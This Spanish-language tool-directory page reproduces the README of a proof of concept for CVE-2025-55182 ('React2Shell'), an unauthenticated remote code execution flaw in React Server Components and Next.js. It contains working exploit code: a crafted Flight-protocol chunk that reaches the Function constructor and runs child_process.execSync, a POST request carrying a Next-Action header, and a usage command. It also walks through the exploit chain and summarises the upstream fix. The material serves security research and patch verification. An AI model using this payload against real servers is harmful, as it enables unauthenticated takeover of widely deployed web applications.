Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2025-55182-poc — Prueba de concepto para CVE-2025-55182 (React2Shell): RCE no autenticado en React Server Components / Next.js mediante deserialización del protocolo Flight. | Kitploit
Herramientas/GitHubGitHub/monarchfish/cve-2025-55182-poc
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónDesarrollo de Payloads
GitHubmonarchfish/cve-2025-55182-poc

cve-2025-55182-poc

Prueba de concepto para CVE-2025-55182 (React2Shell): RCE no autenticado en React Server Components / Next.js mediante deserialización del protocolo Flight.

Ver Repositorio
hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Información Básica

CVE-2025-55182 es una de las vulnerabilidades de framework web más extendidas en 2025. React Server Components (RSC) ya es la arquitectura dominante en aplicaciones Next.js modernas, y una gran cantidad de proyectos estándar creados con create-next-app están afectados, sin necesidad de código personalizado para su explotación.

ElementoContenido
ID CVECVE-2025-55182
También conocido comoReact2Shell
Tipo de vulnerabilidadEjecución remota de código no autenticada (Unauthenticated RCE); CWE-502 Deserialización de datos no confiables (Deserialization of Untrusted Data) [3]
Puntuación CVSS10.0 (Critical) (CVSS 3.1, Facebook/CNA [2])
Paquetes afectadosreact-server-dom-parcel, react-server-dom-turbopack, react-server-dom-webpack
Versiones afectadasReact 19.0.0~19.2.0 / Next.js 14.3.0-canary.77 en adelante, 15.x, 16.x
Complejidad del ataqueMuy baja (una única petición HTTP POST)
¿Requiere autenticación?No

Proceso de creación del PoC

1. Crear la aplicación con la versión oficial

Usar una versión vulnerable (16.0.6) para crear la aplicación Next:

root@kitploit:~
pnpm create [email protected] next-app --yes

2. Crear una Server Action de prueba

  1. En next-app/app/, crear actions.ts marcado como Server Action:

    root@kitploit:~
    "use server";
    
    export async function testAction(formData: FormData) {
      console.log("Action called with:", formData);
    }
    
  2. En la página principal (por ejemplo, app/page.tsx), añadir un formulario cuyo action apunte a testAction e incluya al menos un campo (por ejemplo, un hidden input).

    Next.js generará en el HTML de ese formulario un hidden input con nombre $ACTION_ID_<40 caracteres hex>; el PoC extraerá este ID de la página principal mediante una expresión regular.

3. Crear un entorno PoC contenerizado seguro

El proyecto incluye next-app/Dockerfile y docker-compose.yml que se pueden usar para construir y ejecutar la aplicación Next, siguiendo el ejemplo oficial [8] para su redacción.

Ejecutar en la raíz del proyecto:

root@kitploit:~
docker compose up --build -d

La aplicación Next estará accesible en http://localhost:3000.

Una vez finalizado el PoC, eliminar completamente el entorno Docker:

root@kitploit:~
docker compose down -v

Pasos de Explotación

Paso 1: Obtener el ACTION_ID

Al ejecutar el PoC, el script obtiene la página principal y extrae el ID mediante la expresión regular \$ACTION_ID_([a-f0-9]{40})/. Ejemplo:

root@kitploit:~
const ACTION_ID_REGEX = /\$ACTION_ID_([a-f0-9]{40})/

async function extractActionIdFromPage(baseUrl: string) {
  const response = await fetch(baseUrl);
  const html = await response.text();
  const match = html.match(ACTION_ID_REGEX);
  return match ? match[1] : "";
}

Paso 2: Ejecutar la explotación

Instalar dependencias en la raíz del proyecto y ejecutar:

root@kitploit:~
pnpm install
pnpm poc [BASE_URL] [EXECUTABLE]

Fragmento clave del código:

root@kitploit:~
function escapeExecutable(executable: string) {
  return executable.replace(/\\/g, "\\\\").replace(/'/g, "\\'");
}

const escapedExecutable = escapeExecutable(executable);

const craftedChunk = {
  then: "$1:__proto__:then",
  status: "resolved_model",
  reason: -1,
  value: '{"then": "$B0"}',
  _response: {
    _prefix: `process.mainModule.require('child_process').execSync('${escapedExecutable}');`,
    _formData: {
      get: "$1:constructor:constructor",
    },
  },
};

const formData = new FormData();
formData.append("0", JSON.stringify(craftedChunk));
formData.append("1", '"$@0"');

const controller = new AbortController();
const timeoutId = setTimeout(() => controller.abort(), 3000);

try {
  const response = await fetch(baseUrl, {
    method: "POST",
    headers: { "Next-Action": actionId },
    body: formData,
    signal: controller.signal,
  });
  clearTimeout(timeoutId);
  const text = await response.text();
  console.log(`Status Code: ${response.status}`);
  console.log(`Response: ${text.slice(0, 500)}`);
} catch (e) {
  // manejar timeout o error
}

Ejemplo para escribir un archivo en el host objetivo:

root@kitploit:~
pnpm poc http://localhost:3000 "echo 'RCE_SUCCESS' > /tmp/rce_output"

Paso 3: Observar los resultados

  • Si la RCE tiene éxito, el servidor puede quedarse bloqueado o agotar el tiempo de espera tras ejecutar el comando; en ese caso la petición dará timeout, lo cual es esperado.
  • Verificar en el host objetivo que el comando se haya ejecutado (por ejemplo, comprobando archivos, procesos).
  • Se puede acceder al contenedor mediante docker compose exec o a través de Docker Desktop.

Explicación Técnica

Ubicación de la Vulnerabilidad

La vulnerabilidad reside en el mecanismo de deserialización del protocolo Flight de React (RSC Flight Deserializer). Este mecanismo se encarga de transmitir el estado de los componentes React entre servidor y cliente, pero su flujo de procesamiento presenta un grave problema de límite de confianza.

El protocolo React Flight es el formato de intercambio (wire format) que React utiliza para Server Components y Server Actions: serializa el árbol de componentes, parámetros de funciones, etc., en un flujo de chunks representado en JSON, y establece referencias entre chunks mediante $número, $número:clave, permitiendo al servidor reconstruir valores completos de JavaScript.

Cadena de Explotación (Exploit Chain)

root@kitploit:~
Atacante envía HTTP POST malicioso
        ↓
[Fase 1] Crear un objeto con autorreferencia cíclica (Self-referential loop)
        ↓
[Fase 2] Engañar al motor JavaScript para que llame a una función controlada por el atacante
        ↓
[Fase 3] Inyectar datos maliciosos para desencadenar el flujo de inicialización de Flight
        ↓
[Fase 4] Mediante el Blob Handler llamar al constructor Function
        ↓
Ejecución de JavaScript arbitrario en el servidor (RCE)

React Server y Formato de Transmisión

Las Server Functions de React (en Next.js, Server Actions) serializan los datos que el frontend envía al backend mediante el protocolo React Flight en "trozos" (chunks), y luego los envían como datos de formulario (form data).

Las ventajas de este diseño incluyen:

  • Transmisión en streaming: los chunks se pueden generar y analizar secuencialmente, sin necesidad de esperar la carga completa, beneficiando la latencia y el control de memoria.
  • Desduplicación y compartición: un mismo dato se serializa una sola vez y se referencia desde múltiples lugares, reduciendo duplicados y volumen de transmisión.
  • Compatibilidad con POST de formularios: los chunks se envían como campos multipart, sin necesidad de un protocolo binario personalizado, facilitando el uso de CDN, proxies y depuración.
  • Expresión de estructuras complejas: soporta objetos anidados y estructuras gráficas mediante referencias, satisfaciendo los tipos ricos necesarios para RPC.

Los chunks pueden referenciarse entre sí, por ejemplo:

  • chunk 0: ["$1"] (referencia al bloque 1)
  • chunk 1: {"object":"fruit","name":"$2:fruitName"} (referencia a fruitName del bloque 2)
  • chunk 2: {"fruitName":"cherry"}

El servidor lo interpreta como: { object: 'fruit', name: 'cherry' }. Es decir, el protocolo permite usar $número:clave para apuntar a propiedades de otros chunks y luego combinarlos en el objeto JavaScript final.

Causa de la Vulnerabilidad

En la implementación anterior a la corrección, al analizar estas referencias no se verificaba estrictamente si la clave realmente existía en el objeto mismo, por lo que un atacante podía leer propiedades de la cadena de prototipos (prototype) del objeto mediante referencias.

Por ejemplo, se podía construir el siguiente payload:

  • chunk 0: ["$1:__proto__:constructor:constructor"]
  • chunk 1: {"x":1}

Cuando el servidor analiza "__proto__ → constructor → constructor" del chunk 1, obtiene el constructor de Function ([Function: Function]), es decir, el constructor nativo que crea funciones a partir de cadenas de texto. En otras palabras: a través de una cadena de referencias indebida, se puede obtener Function en el servidor y ejecutar cadenas como código.

thenable y await

Cuando Next.js recibe el formulario, utiliza decodeReplyFromBusboy para reconstruir los chunks en un valor y luego hace await sobre ese valor.

En JavaScript, si un objeto tiene un método .then, se considera thenable; al hacer await se invoca ese .then. Por lo tanto, si se logra que el .then del "resultado decodificado" apunte a una función controlada por el atacante (por ejemplo, el constructor Function), al hacer await se ejecutará esa lógica. El siguiente paso del ataque es: construir un objeto que, tras la decodificación, sea un thenable, y establecer su .then en el punto de llamada deseado (gadget de llamada).

De "chunk falso" a RCE

  1. Usar $@0 para referenciar el "chunk original"
    En el protocolo, $@número significa "tomar el contenido original del bloque N, sin seguir analizándolo". Por lo tanto, se puede hacer que el chunk 1 sea "$@0", de modo que el proceso de análisis lea la representación original del "chunk 0 mismo".

  2. Apuntar el .then del chunk 0 al prototipo de Chunk
    Si el chunk 0 es un objeto con aspecto {"then": "$1:__proto__:then", ...} y el chunk 1 es "$@0", al analizarlo se asigna el .then del chunk 0 a Chunk.prototype.then (en el protocolo Flight, Chunk es un thenable). De esta forma, cuando Next.js haga await sobre el resultado decodificado, entrará en la lógica .then de Chunk.

  3. Desencadenar initializeModelChunk
    En Chunk.prototype.then, si el status de ese "chunk falso" es "resolved_model", se entra en . Aquí se analiza el del chunk como JSON y se realiza un proceso de "revivificación" sobre el objeto resultante, que maneja varios prefijos especiales (por ejemplo, referencias blob que comienzan con ).

Corrección (Resumen)

React corrigió esta vulnerabilidad en el PR #35277 [9] (commit e2fd5dc [10]), con dos cambios principales:

  1. Limitar la resolución de propiedades para que no recorra la cadena de prototipos
    En la lógica de resolución de referencias a chunks (como en requireModule), se modificó para que primero verifique con hasOwnProperty si la clave realmente existe en el objeto mismo; si no, devuelve undefined, evitando así obtener constructor desde __proto__ y otras propiedades que no deberían exponerse. Este cambio se aplicó a varios módulos relacionados con Flight (como ReactFlightClientConfigBundlerNode, ReactFlightClientConfigBundlerWebpack y las configuraciones correspondientes para Parcel/Turbopack), cortando la cadena de explotación que permitía obtener el constructor Function → construir un thenable → disparar el gadget get para ejecutar código arbitrario.

  2. Manejo de errores en decodeReplyFromBusboy
    Se añadieron bloques try/catch en el análisis de los datos del formulario (resolveField, resolveFileComplete, etc.), de modo que si el análisis lanza una excepción, se llama a busboyStream.destroy(error), propagando el error correctamente y evitando que el stream quede en un estado inconsistente, reduciendo la superficie de explotación en caso de errores de análisis.


Enlaces de Referencia

  1. NVD — CVE-2025-55182
  2. Cálculo CVSS 3.1 (Facebook/CNA)
  3. CWE-502 — Deserialization of Untrusted Data
  4. Anuncio oficial de React — Vulnerabilidad crítica de seguridad en React Server Components
  5. Aviso de seguridad de Facebook — CVE-2025-55182
  6. Catálogo de vulnerabilidades explotadas conocidas de CISA
  7. Aviso de seguridad de Next.js — RCE en React Server Components
  8. Ejemplo de Dockerfile de Next.js with-docker
  9. React PR #35277 — Parche para FlightReplyServer con correcciones de ReactFlightClient
  10. Cambios específicos del PR #35277 (commit e2fd5dc)
  11. Referencia del PoC
Descargar herramienta
initializeModelChunk
value
$B
  • Punto de llamada: _response._formData.get(_prefix + id)
    Al procesar el prefijo $B, el programa ejecuta:
    response._formData.get(response._prefix + algún_id).
    Si en el chunk falso se controla _response para establecer _formData y _prefix, y se apunta _formData.get al constructor Function, y _prefix se configura como la cadena de código a ejecutar, esa línea se convierte en:
    Function("nuestro código" + "0")
    Es decir, "crea una función a partir de una cadena". Esta función será el valor de retorno del .then de ese chunk, y en la misma cadena de promesas se invocará mediante await, ejecutando así nuestro código en el servidor.

  • RCE real
    Si se reemplaza "nuestro código" por, por ejemplo:
    process.mainModule.require('child_process').execSync('comando del sistema a ejecutar');
    se logra Ejecución Remota de Código (RCE) en el servidor.